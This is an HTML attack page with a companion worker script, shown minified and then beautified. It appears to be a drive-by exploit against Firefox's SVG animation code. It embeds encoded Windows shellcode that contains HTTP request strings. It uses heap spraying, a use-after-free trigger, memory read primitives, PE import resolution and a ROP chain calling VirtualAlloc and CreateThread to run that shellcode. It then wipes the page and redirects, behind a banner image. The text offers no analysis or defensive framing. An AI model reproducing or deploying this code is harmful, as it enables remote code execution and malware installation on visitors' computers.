<html>
<head>
<script>
var thecode
='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002\ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
+
'\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';
var worker = new Worker('cssbanner.js');
worker.postMessage(thecode);
var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x1000);
var heap100 = new Array(0x4000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var offset = 0x90;
if (/.*Firefox/(4[7-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent))
{
offset = 0x88; // versions 47.0 or greater
}
var $ = function(id) { return document.getElementById(id); }
var exploit = function()
{
var u32 = new Uint32Array(block80)
u32[0x2] = arrBase - offset;
u32[0x8] = arrBase - offset;
u32[0xE] = arrBase - offset;
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
for(i = 0; i < heap80.length/2; i++)
{
heap80[i] = block80.slice(0)
}
animateX.setAttribute('begin', '59s')
animateX.setAttribute('begin', '58s')
for(i = heap80.length/2; i < heap80.length; i++)
{
heap80[i] = block80.slice(0)
}
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
animateX.setAttribute('begin', '10s')
animateX.setAttribute('begin', '9s')
window.dump('PAUSING!!! YAYA');
containerA.pauseAnimations();
}
worker.onmessage = function(e)
{
worker.onmessage = function(e)
{
window.setTimeout(function()
{
worker.terminate();
document.body.innerHTML = '';
document.getElementsByTagName('head')[0].innerHTML = '';
document.body.setAttribute('onload', '')
}, 1000);
}
arrBase = e.data;
exploit();
}
var idGenerator = function()
{
return 'id' +
(((1+Math.random())*0x10000)|0).toString(16).substring(1);
}
var craftDOM = function()
{
containerA = document.createElementNS(svgns, 'svg')
var containerB = document.createElementNS(svgns, 'svg');
animateX = document.createElementNS(svgns, 'animate')
var animateA = document.createElementNS(svgns, 'animate')
var animateB = document.createElementNS(svgns, 'animate')
var animateC = document.createElementNS(svgns, 'animate')
var idX = idGenerator();
var idA = idGenerator();
var idB = idGenerator();
var idC = idGenerator();
animateX.setAttribute('id', idX);
animateA.setAttribute('id', idA);
animateA.setAttribute('end', '50s');
animateB.setAttribute('id', idB);
animateB.setAttribute('begin', '60s');
animateB.setAttribute('end', idC + '.end');
animateC.setAttribute('id', idC);
animateC.setAttribute('begin', '10s');
animateC.setAttribute('end', idA + '.end');
containerA.appendChild(animateX)
containerA.appendChild(animateA)
containerA.appendChild(animateB)
containerB.appendChild(animateC)
document.body.appendChild(containerA);
document.body.appendChild(containerB);
}
window.onload = craftDOM;
//
</script>
<style>
#mtdiv{
position: absolute;
width: 960px;
height: 166px;
z-index: 15;
top: 100px;
left: 50%;
margin: 0 0 0 -480px;
}
</style>
</head>
<body bgcolor='#2F3236'>
<div id='mtdiv'>
<img src='mt.png'/>
</div>
</body>
<script>
setTimeout('window.location = 'member.php';', 2000);
</script>
</html>
===================================================================================================
content of "cssbanner.js":
self.onmessage = function(msg) {
thecode = msg.data;
var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
& 65535) + String.fromCharCode(a) };
function
Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return
0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return
this.read(a)&255};this.readWord=function(a){return
this.read(a)&65535};this.readDword=function(a){return this.read(a)};
this.read=function(a,b){if(a%4){var
c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return
c>>>8*e|d<<8*(4-e)}return
this._abs_read(a)};this.readStr=function(a){for(var
b="",c=0;;){if(32==c)return"";var
d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return
b};this.write=function(a){}}
function PE(b,a){this.mem=b;this.export_table=this.module_base=void
0;this.export_table_size=0;this.import_table=void
0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return
this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad
NT
Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory=
this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void
0==this.import_directory&&this._resolve_pe_structures();for(var
e=this.import_directory,c=e+this.import_directory_size;e<c;){var
d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()==
d.toUpperCase()){for(var
c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return
this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return
0};void 0!=a&&this.find_module_base(a)}
function ROP(b,a){this.mem=b;this.pe=new
PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var
b=0;;){for(var
e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else
break;if(e==a.length)return
this.module_base+b;b++}};this.findStackPivot=function(){return
this.findSequence([148,195])};this.findPopRet=function(a){return
this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void
0!=c?c:new ArrayBuffer(4096);
c=new Uint32Array(c);var
d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return
c}}
var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new
Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return
convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return
convu32[a]},sprayArrays=function(){for(var
b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+
o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/
8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+
(o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)&&(vtable_offset=308);
var spr=Array(400),arrBase=805306416,ropArrBuf=new
ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new
Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="\u9090");sprayArrays();postMessage(arrBase);
for(memarrayloc=void 0;void
0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof
spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+
o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var
mem=new Memory(memarrayloc+48,function(b){return
memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var
rop=new
ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
var backupESP=rop.findSequence([137,1,195]),ropChain=new
Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var
i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071;
ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var
j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT
SUCCESS");
};
Beautified:
self.onmessage =
function(msg) {
thecode = msg.data;
var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
& 65535) + String.fromCharCode(a) };
function Memory(b,a,f)
{
this._base_addr=b;
this._read=a;
this._write=f;
this._abs_read = function(a) {
a >= this._base_addr ? a = this._read( a - this._base_addr) : (
a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
return 0>a?4294967295+a+1:a
};
this._abs_write = function(a,b) {
a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a
= 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
};
this.readByte = function(a) {
return this.read(a) & 255
};
this.readWord = function(a) {
return this.read(a) & 65535
};
this.readDword = function(a){ return this.read(a) };
this.read = function(a,b) {
if (a%4) {
var c = this._abs_read( a & 4294967292),
d = this._abs_read( a+4 & 4294967292),
e = a%4;
return c>>>8*e | d<<8*(4-e)
}
return this._abs_read(a)
};
this.readStr = function(a) {
for(var b = "", c = 0;;) {
if (32 == c)
return "";
var d = this.readByte(a+c);
if(0 == d)
break;
b += String.fromCharCode(d);
c++
}
return b
};
this.write = function(a){}
}
function PE(b,a) {
this.mem = b;
this.export_table = this.module_base = void 0;
this.export_table_size = 0;
this.import_table = void 0;
this.import_table_size = 0;
this.find_module_base = function(a) {
for(a &= 4294901760; a; ) {
if(23117 == this.mem.readWord(a))
return this.module_base=a;
a -= 65536
}
};
this._resolve_pe_structures = function() {
peFile = this.module_base + this.mem.readWord(this.module_base+60);
if(17744 != this.mem.readDword(peFile))
throw"Bad NT Signature";
this.pe_file = peFile;
this.optional_header = this.pe_file+36;
this.export_directory =
this.module_base+this.mem.readDword(this.pe_file+120);
this.export_directory_size = this.mem.readDword(this.pe_file+124);
this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
this.import_directory_size=this.mem.readDword(this.pe_file+132)};
this.resolve_imported_function=function(a,b){
void 0==this.import_directory&&this._resolve_pe_structures();
for(var
e=this.import_directory,c=e+this.import_directory_size;e<c;){
var
d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
if(a.toUpperCase()==d.toUpperCase()){
for(var c = this.mem.readDword(e) + this.module_base,
e = this.mem.readDword(e+16) +
this.module_base,
d = this.mem.readDword(c),
f = 0 ; 0 !=d ;)
{
if(this.mem.readStr(d+this.module_base+2).toUpperCase()
== b.toUpperCase())
return this.mem.readDword(e+4*f);
f++;
d = this.mem.readDword(c+4*f)
}
break
}
e+=20
}
return 0
};
void 0!=a && this.find_module_base(a)
}
function ROP(b,a){
this.mem = b;
this.pe = new PE(b,a);
this.pe._resolve_pe_structures();
this.module_base = this.pe.module_base+4096;
this.findSequence = function(a) {
for(var b=0;;) {
for(var e=0,c=0;c<a.length;c++)
if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)
e++;
else
break;
if(e==a.length)
return this.module_base+b;
b++
}
};
this.findStackPivot=function() {
return this.findSequence([148,195])
};
this.findPopRet=function(a) {
return this.findSequence([88,195])
};
this.ropChain=function(a,b,e,c) {
c = void 0 != c ? c : new ArrayBuffer(4096);
c = new Uint32Array(c);
var d = this.findStackPivot(),
f = this.findPopRet("EAX"),
g =
this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
c[0]= f+1;
c[1]= f;
c[2]= a+b+4*e+4;
c[3]= d;
for(i=0;i<e;i++)
c[(b>>2)+i] = d;
d =(b+4>>2)+e;
c[d++]=g;
c[d++]=a+(b+4*e+28);
c[d++]=a;
c[d++]=4096;
c[d++]=4096;
c[d++]=64;
c[d++]=3435973836;
return c
}
}
var conv=new ArrayBuffer(8),
convf64=new Float64Array(conv),
convu32=new Uint32Array(conv),
qword2Double=function(b,a) {
convu32[0]=b;
convu32[1]=a;
return convf64[0]
},
doubleFromFloat = function(b,a) {
convf64[0]=b;
return convu32[a]
},
sprayArrays=function() {
for(var b=Array(262138),a=0;262138>a;a++)
b[a]=fzero;
for(a=0;a<b.length;a+=512)
b[a+1] = memory,
b[a+21] = qword2Double(0,2),
b[a+14] = qword2Double(arrBase+o1,0),
b[a+(o1+8)/8] = qword2Double(arrBase+o2,0),
b[a+(o2+0)/8] = qword2Double(2,0),
b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13),
b[a+(o3+0)/8] = qword2Double(16,0),
b[a+(o3+24)/8] = qword2Double(2,0),
b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4),
b[a+(o4+0)/8] = qword2Double(0,arrBase+o6),
b[a+(o5+0)/8] = qword2Double(arrBase+o7,0),
b[a+(o6+8)/8] = qword2Double(2,0),
b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0),
b[a+(o7+16)/8] = qword2Double(0,4026531840),
b[a+(o7+32)/8] = qword2Double(0,3220176896),
b[a+(o7+48)/8] = qword2Double(2,0),
b[a+(o7+56)/8] = qword2Double(1,0),
b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
b[a+(o7+168)/8] = qword2Double(0,2),
b[a+(o9+0)/8] = qword2Double(arrBase+o10,2),
b[a+(o10+0)/8] = qword2Double(2,0),
b[a+(o10+8)/8] = qword2Double(0,268435456),
b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0),
b[a+(o11+16)/8] = qword2Double(0,4026531840),
b[a+(o11+32)/8] = qword2Double(0,3220176896),
b[a+(o11+48)/8] = qword2Double(2,0),
b[a+(o11+56)/8] = qword2Double(1,0),
b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
b[a+(o11+168)/8] = qword2Double(0,2);
for(a=0;a<spr.length;a++)
spr[a]=b.slice(0)
}, vtable_offset=300;
/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?
vtable_offset=304 :
/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)
&& (vtable_offset=308);
var spr=Array(400),
arrBase=805306416,
ropArrBuf=new ArrayBuffer(4096),
o1=176,
o2=256,
o3=768,
o4=832,
o5=864,
o6=928,
o7=1024,
o8=1280,
o9=1344,
o10=1376,
o11=1536,
oRop=1792,
memory=new Uint32Array(16),
len=memory.length,
arr_index=0,
arr_offset=0;
fzero=qword2Double(0,0);
0!=thecode.length%2&&(thecode+="\u9090");
sprayArrays();
postMessage(arrBase);
for(memarrayloc=void 0;void 0==memarrayloc;)
for(i=0;i<spr.length;i++)
for(offset=0;offset<spr[i].length;offset+=512)
if("object" != typeof spr[i][offset+1]) {
memarrayloc=doubleFromFloat(spr[i][offset+1],0);
arr_index=i;
arr_offset=offset;
spr[i][offset+(o2+0)/8]=qword2Double(65,0);
spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);
for(j=0;33>j;j++)
spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);
spr[i][offset+(o3+8)/8]=qword2Double(0,0);
spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);
spr[i][offset+(o7+168)/8]=qword2Double(0,3);
spr[i][offset+(o7+88)/8]=qword2Double(0,2);
break
}
for(;memory.length==len;);
var mem=new Memory(memarrayloc+48,
function(b){return memory[b/4]},
function(b,a){memory[b/4]=a}),
xulPtr=mem.readDword(memarrayloc+12);
spr[arr_index][arr_offset+1]=ropArrBuf;
ropPtr=mem.readDword(arrBase+8);
spr[arr_index][arr_offset+1]=null;
ropBase=mem.readDword(ropPtr+16);
var rop=new ROP(mem,xulPtr);
rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
var backupESP=rop.findSequence([137,1,195]), ropChain=new Uint32Array(ropArrBuf);
ropChain[0]=backupESP;
CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");
for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);
ropChain[i++]=3296825488;
ropChain[i++]=2048;
ropChain[i++]=1347469361;
ropChain[i++]=1528949584;
ropChain[i++]=3092271187;
ropChain[i++]=CreateThread;
ropChain[i++]=3096498431;
ropChain[i++]=arrBase+16;
ropChain[i++]=1955274891;
ropChain[i++]=280697892;
ropChain[i++]=704643071;
ropChain[i++]=2425406428;
ropChain[i++]=4294957800;
ropChain[i++]=2425393407;
for (var j=0;j<thecode.length;j+=2)
ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);
spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);
spr[arr_index][arr_offset+3]=qword2Double(0,256);
spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);
spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);
spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);
postMessage("GREAT SUCCESS");
};
